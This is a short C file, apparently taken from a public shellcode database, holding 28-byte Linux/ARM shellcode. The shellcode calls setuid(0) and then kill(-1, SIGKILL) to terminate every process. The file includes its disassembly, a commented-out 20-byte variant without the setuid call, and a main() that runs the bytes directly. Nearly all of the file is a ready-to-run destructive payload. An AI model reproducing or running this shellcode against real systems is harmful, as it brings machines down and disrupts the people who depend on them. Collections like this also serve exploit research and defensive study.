/*
Title:  Linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes
 (Kill all processes)

Date:   2010-06-29
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/

    8054: e28f3001  add r3, pc, #1   ; 0x1
    8058: e12fff13  bx r3
    805c: 1b24       subs r4, r4, r4
    805e: 1c20       adds r0, r4, #0
    8060: 2717       movs r7, #23
    8062: df01       svc 1
    8064: 1a92       subs r2, r2, r2
    8066: 1c10       adds r0, r2, #0
    8068: 3801       subs r0, #1
    806a: 2109       movs r1, #9
    806c: 2725       movs r7, #37
    806e: df01       svc 1

*/

#include <stdio.h>

/* kill all processes without setuid(0) - 20 bytes */

// char *SC = "\x01\x30\x8f\xe2"
//            "\x13\xff\x2f\xe1"
//            "\x92\x1a\x10\x1c"
//            "\x01\x38\x09\x21"
//            "\x25\x27\x01\xdf";

/* kill all processes with setuid(0) - 28 byes */

char *SC = "\x01\x30\x8f\xe2"
           "\x13\xff\x2f\xe1"
           "\x24\x1b\x20\x1c"
           "\x17\x27\x01\xdf"
           "\x92\x1a\x10\x1c"
           "\x01\x38\x09\x21"
           "\x25\x27\x01\xdf";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}